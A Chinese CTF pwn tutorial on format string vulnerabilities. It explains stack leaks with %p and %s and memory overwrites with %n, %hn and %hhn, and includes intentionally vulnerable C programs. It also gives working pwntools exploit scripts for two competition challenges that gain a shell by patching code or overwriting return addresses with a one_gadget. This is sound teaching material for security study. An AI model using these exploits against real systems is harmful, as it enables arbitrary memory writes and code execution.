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CTF-pwn 技术总结(2)
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格式化字符串漏洞学习
CTF-pwn 技术总结(2) =============== 格式化字符串漏洞 -------- ### 格式化字符串函数 常见的有格式化字符串函数有 - 输入: scanf - 输出: | 函数 | 基本介绍 | |---|---| | printf | 输出到 stdout | | fprintf | 输出到指定 FILE 流 | | vprintf | 根据参数列表格式化输出到 stdout | | vfprintf | 根据参数列表格式化输出到指定 FILE 流 | | sprintf | 输出到字符串 | | snprintf | 输出指定字节数到字符串 | | vsprintf | 根据参数列表格式化输出到字符串 | | vsnprintf | 根据参数列表格式化输出指定字节到字符串 | | setproctitle | 设置 argv | | syslog | 输出日志 | | err, verr, warn, vwarn 等 | 。。。 | ### 格式化字符串漏洞成因: printf()函数的调用格式为: ```c# printf("<格式化字符串>", <参量表>); ``` 但有些人为了省事,直接让printf打印一个变量的内容,导致了漏洞的产生,这种漏洞就被称为格式化字符串漏洞。 正确写法: ```c# char str[100]; scanf("%s", str); printf("%s",str); ``` 导致漏洞产生的写法: ```c# char str[100]; scanf("%s", str); printf(str); ``` 因为当用户输入的是格式化字符串时,程序会打印出栈上的内容,这就造成了栈内存被泄露。 当用户输入多个%s时,程序大概率会奔溃,因为如果对应的变量不能够被解析为字符串地址,那么程序就会直接崩溃。 ### 利用方法: #### 泄露栈上内容: 在存在格式化字符串漏洞的地a: ```c# 利用 %x来获取对应栈的内存,但建议使用%p,可以不用考虑位数的区别。 利用 %s来获取变量所对应地址的内容,只不过有零截断。 利用 %order$x 来获取指定参数的值,利用%order$s来获取指定参数对应地址的内容。 ``` 示例1: ```c# #include<stdio.h> int main() { char a[100]; scanf("%s",a); printf(a); return 0; } ``` 编译时,编译器给出了警告:没有格式化字符串参数。 ![image-20211230160352110](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-08e12a5a0ed34df1afee365e0645e0dbb42e18c4.png) 可以看到当我们输入多个%p(用点隔开)时,栈上的内容被打印出来了: ![image-20211230160638942](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-4597704a2705a1f7b5d17eb519feaaba6fd5624b.png) 可以看到当我们输入多个%s时,程序崩溃了,这是因为栈上这个位置的变量不能被解析成字符串: ![image-20211230160923453](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-86a4ed0022c526935609db16446f7f3d730cec9b.png) 示例2: ```c# #include <stdio.h> int main() { char s[100],str[20] = "hellopwn"; int a = 0x101, b = 0x22222222, c = -1; char* ptr = str; scanf("%s", s); printf("%p.%p.%p.%p.%s\n", &a, &b, &c, ptr, s); printf(s); return 0; } ``` ![image-20211230161022433](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-dea25f1064c325bace458a3fce8400e047f3edce.png) 当我们输入多个%p时,我们发现变量a,b,c的值通过格式化字符串漏洞被泄露出来了,我们也可以知道a在第七个%p被打印出来,b和c在第八个,ptr在第九个(因为是小端序的原因c在高位,b在低位): ![image-20211230164248574](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-e554bed499c4a2b33329efefd84b424f71a55869.png) 我们也可以通过%order$x打印出特定位置变量的值: ![image-20211230164730162](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-805663a8deb4c3d725ae1c8a38e61f4f7aa8d175.png) #### 覆盖内存: 格式化字符 **%n** ,在printf的参数中存在%n的话,会将%n前打印出来的字符个数保存到一个int变量内 示例1: ```c# #include <stdio.h> int main() { int val; printf("blah %n blah\n", &val); printf("val = %d\n", val); return 0; } ``` 因为%n前打印了(blah+空格一共5个字符),所以val变量的值被赋成5: ![image-20211230194143972](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-41ea880150b14b83c3b35ae8cae9b1f9826bf99e.png) 我们可以通过下面这个公式,取得覆盖任意地址变量的目的: ```c# %[num]c+ %[order]$n + [填充字符] + [覆盖的地址] ``` 其中 **\[order\]** 为 payload填入栈时,**\[覆盖的地址\]** 位于格式化字符的第几个参数; **\[num\]** 为 要修改的值 的10进制数; **\[填充字符\]** 是为了让这个 payload大小满足4字节倍数或8字节倍数(取决于32/64位程序); 单单这样说可能难以理解,具体到下面这个示例上: 示例2: ```c# #include <stdio.h> int main() { int flag = 0x1234; char s[100]; printf("%p\n", &flag); scanf("%s", s); printf(s); if(flag = 0xdead) printf("\ngood job!\n"); return 0; } ``` 本题我们想覆盖flag的值为0xdead,并且题目已经告诉我们flag在栈上的地址 首先我们已经可以明确 **\[num\] = 0xdead = 57005**; 通过在printf下断点,然后输入8个a,在gdb中: ![image-20211230220135061](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-13ef7d0ec2e486ed1a49829aef258dad51f96495.png) 我们可以发现我们输入的字符串位于栈上第三位,**因为64位程序是通过6个寄存器和栈共同传参的,并且由于格式化字符串起始地址作为printf函数的第一个参数,所以它是存放在rdi寄存器中,剩下的RSI、RDX、RCX、R8、R9这5个寄存器会接着存放其他参数,其中RSI存放着格式化字符串的第一个参数的值。所以从栈顶第一位开始是格式化字符串中的第6个参数**, 所以本题中输入字符串位于格式化字符串的第 5 + 3 = 8 个参数。 所以 **\[覆盖的地址\]** 至少位于格式化字符的第8个参数,即 **\[order\] >= 8**,并且因为payload前半部分为 **%57005c%\[order\]$n(\[order\]>=8)** ,长度至少为11即超过8但小于16,所以 **\[order\] 应该为 10**,故**payload = %57005c%10$n + \[填充字符\] + \[覆盖的地址\]** ,很明显填充字符的个数为 16-12 = 4,这样我们就可以写出完整的Exp了: ```python from pwn import * context.log_level = 'debug' p = process('./fmt_test4') flag_addr = int(p.recvline().strip(), 16) #接收flag地址 print('flag_addr: ' + hex(flag_addr)) payload = '%57005c%10$naaaa'+ p64(flag_addr) p.sendline(payload) p.interactive() ``` 执行Exp 我们就能修改flag为0xdead了: ![image-20211230222659695](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-f05c5beb23046103e45cc9847356e6fa52311903.png) ![image-20211230222744232](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-f7406d1849851dcb79541f87535455b33a294848.png) 除了%n可以覆盖四字节以为,我们还可以利用 %hhn 向某个地址写入单字节,利用 %hn 向某个地址写入双字节。具体演示看下面的例题。 ### 漏洞检测: 可以下载一款IDA插件 - **LazyIDA** 来检测程序是否存在格式化字符串漏洞,对于一般的格式化字符串漏洞都能检测出来。 下载地址: ```php https://github.com/L4ys/LazyIDA ``` ### 真题演示: #### 例一 PWN梦空间-snow 题目来自2021春秋杯秋季赛 ![image-20220130163323283](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-e554b44a693df54af5b4845209938c9f15ec8d67.png) ![image-20220130163459561](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-59acc4fde500d8d5cba1abe3da4b3086cb08dc68.png) ![image-20220130163156490](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-b29851dc351ab26d59bb1f2bf678efdf4c73746e.png) ![image-20220130170119300](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-3e17a0ff478470629764191d6a8356ab682fd0cb.png) ![image-20220130163757240](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-24d2b17a297c32cef24238829613beb0074df6fb.png) ##### 思路: 利用插件 **LazyIDA** 可以发现程序存在格式化字符串漏洞,但是仅能利用一次。并且通过checksec和gdb命令**vmmap**发现,程序代码段.text为**RWX段**(可读、可写、可执行),并且程序还存在后门函数**system('/bin/sh')**,那么我们就可以利用格式化字符串漏洞将main函数汇编改为 **jmp 0x4008b7**,让程序跳转并执行后门函数。 利用格式化字符串的任意地址写功能,强制修改main函数的汇编代码,将 0x4008b0 处的 **mov eax,0** 更改为 **jmp 0x4008b7**,只需要改动2个字节`EB 05`,也就是十进制数1515。 ![image-20220130164105620](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-57dac10f207746af9993da09936a90975205cb69.png) ##### EXP: ```python from pwn import * context.log_level = 'debug' p = process('./snow') #r = remote(, ) e = ELF('./snow') def s(content): p.send(content) def sl(content): p.sendline(content) def sla(signal, content): p.sendlineafter(signal, content) sla('you?\n',b'%1515c%43$naaaa') p.interactive() ``` #### 例二 logging 题目来自某高校校赛 ![image-20220130153603544](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-7fb39f8b39e913c2842c1d3f69822300b0227d0d.png) ![image-20220130153229541](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-49a107895d44682d7638102c78e5c33ea6c75a29.png) ![image-20220130153247794](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-117cfdff398fe38dc384af9d0fda919b2a693196.png) ##### 思路: 本题是一个保护全开的无限循环的格式化字符串漏洞题,可以无限次的泄露地址。所以依次泄露出**main函数返回地址**、**rbp的值**以及**logging函数返回地址**,计算出**libc基址**、**程序基地址**、**保存main以及logging函数返回地址的栈地址**,再利用格式化字符串覆盖值的功能先将main函数的返回地址覆盖成**one\_gadget地址**,然后再将logging函数的返回地址覆盖成main函数的返回地址使之跳出循环,就能获取shell了。这里不能直接覆盖logging函数的返回地址为one\_gadget,因为libc的地址与程序地址差距太大需要覆盖多次,而覆盖一次logging函数就会导致不能再利用格式化字符串漏洞。 ##### EXP: ```python # -*- coding: utf-8 -*- from pwn import * context.log_level = 'debug' #p = process("./log1") #gdb.attach(p,"b *$rebase(0x9cd)") def leak(payload): p.recvuntil("RUSH B~\n") p.send(payload.ljust(32,'a')) leakaddr = int(p.recvuntil("aaaaaaaaaaaaaaaaaaaaaaa")[9:-23],16) return leakaddr def cover(num, save_ret, step): #写入的数字、栈保存返回地址的位置、覆盖的字节数 print("need print num:" + hex(num)) a_num = 16 -(6 + (4 - step) + len(str(num))) p.recvuntil("RUSH B~\n") if step == 1: p.send(('%'+ str(num) + 'c%20$hhn' + "a" * a_num + p64(save_ret)).ljust(32,'a')) elif step == 2: p.send(('%'+ str(num) + 'c%20$hn' + "a" * a_num + p64(save_ret)).ljust(32,'a')) log.success('set ret success!') #leak libc func ->libc_base->one_gadget main_ret = leak('AAAA%27$p') libc_main_addr = main_ret - 240 print("libc_main:" + hex(libc_main_addr)) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") libc_base = libc_main_addr - libc.symbols['__libc_start_main'] log.success("libc_base:" + hex(libc_base)) ''' sys_addr = libc_base + libc.symbols["system"] binsh_addr = libc_base + libc.search("/bin/sh").next() log.success('sys_addr:' + hex(sys_addr)) log.success('binsh_addr:' + hex(binsh_addr)) ''' one_gadget = 0xf1247 one_addr = libc_base + one_gadget log.success('one_addr:' + hex(one_addr)) #leak rbp(stack_addr) -> save_ret_addr rbp = leak('AAAA%16$p') save_logging_ret = rbp - 0x48 save_main_ret = rbp + 0x8 log.success('save_logging_ret:' + hex(save_logging_ret)) log.success('save_main_ret:' + hex(save_main_ret)) #leak ret_addr -> calculate num logging_ret = leak('AAAA%17$p') code_base = logging_ret & 0xfffffffff000 leave_addr = 0x9E7 + code_base log.success("logging_ret:" + hex(logging_ret)) log.success("leave_addr" + hex(leave_addr)) #set main_ret = one_gadget num = int(hex(one_addr & 0xff0000)[:-4],16) - 3 cover(num, save_main_ret + 2, 1) num = (one_addr & 0xffff) - 3 cover(num, save_main_ret, 2) #set logging_ret = leave --> ret to main_ret num = (leave_addr & 0xffff) - 3 cover(num, save_logging_ret, 2) p.interactive() ``` ### pwntools pwnlib.fmtstr 模块 ```python pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') ``` #### 参数: - **offset** ( [*int*](https://docs.python.org/3.8/library/functions.html#int) ) – 您控制的第一个格式化程序的偏移量 - **writes** ( [*dict*](https://docs.python.org/3.8/library/stdtypes.html#dict) ) – 带有 addr, value 的字典`{addr: value, addr2: value2}` - **numbwritten** ( [*int*](https://docs.python.org/3.8/library/functions.html#int) ) – printf 函数已写入的字节数 - **write\_size** ( [*str*](https://docs.python.org/3.8/library/stdtypes.html#str) ) – 必须是`byte`,`short`或`int`. 告诉您是否要逐字节写入,short by short 或 int by int(hhn,hn 或 n) - **溢出**( [*int*](https://docs.python.org/3.8/library/functions.html#int) ) – 为减少格式字符串的长度,可以容忍多少额外溢出(大小为 sz) - **strategy** ( [*str*](https://docs.python.org/3.8/library/stdtypes.html#str) ) – 'fast' 或 'small' ('small' 是默认值,如果有很多写入,可以使用 'fast') #### 返回值: **用于执行所需写入的有效负载** #### 例子: ```php >>> fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte') b'%1c%3$na\x00\x00\x00\x00' >>> fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short') b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00' ``` 感兴趣的小伙伴还可以去看看pwndbg的官方文档,里面还有很多其他的关于格式化字符串漏洞利用的函数,使用它们可以让你在格式化字符串漏洞的利用上更加轻松顺手。 总结 -- 格式化字符串的利用非常灵活,不仅仅是上面例题所说的几种利用方法,但是其应对方法的核心是不变的,只要熟练掌握原理就没问题。比赛中它一般作为题目的一部分出现,往往还要结合很多其他的知识才能完成。
发表于 2022-02-08 09:38:15
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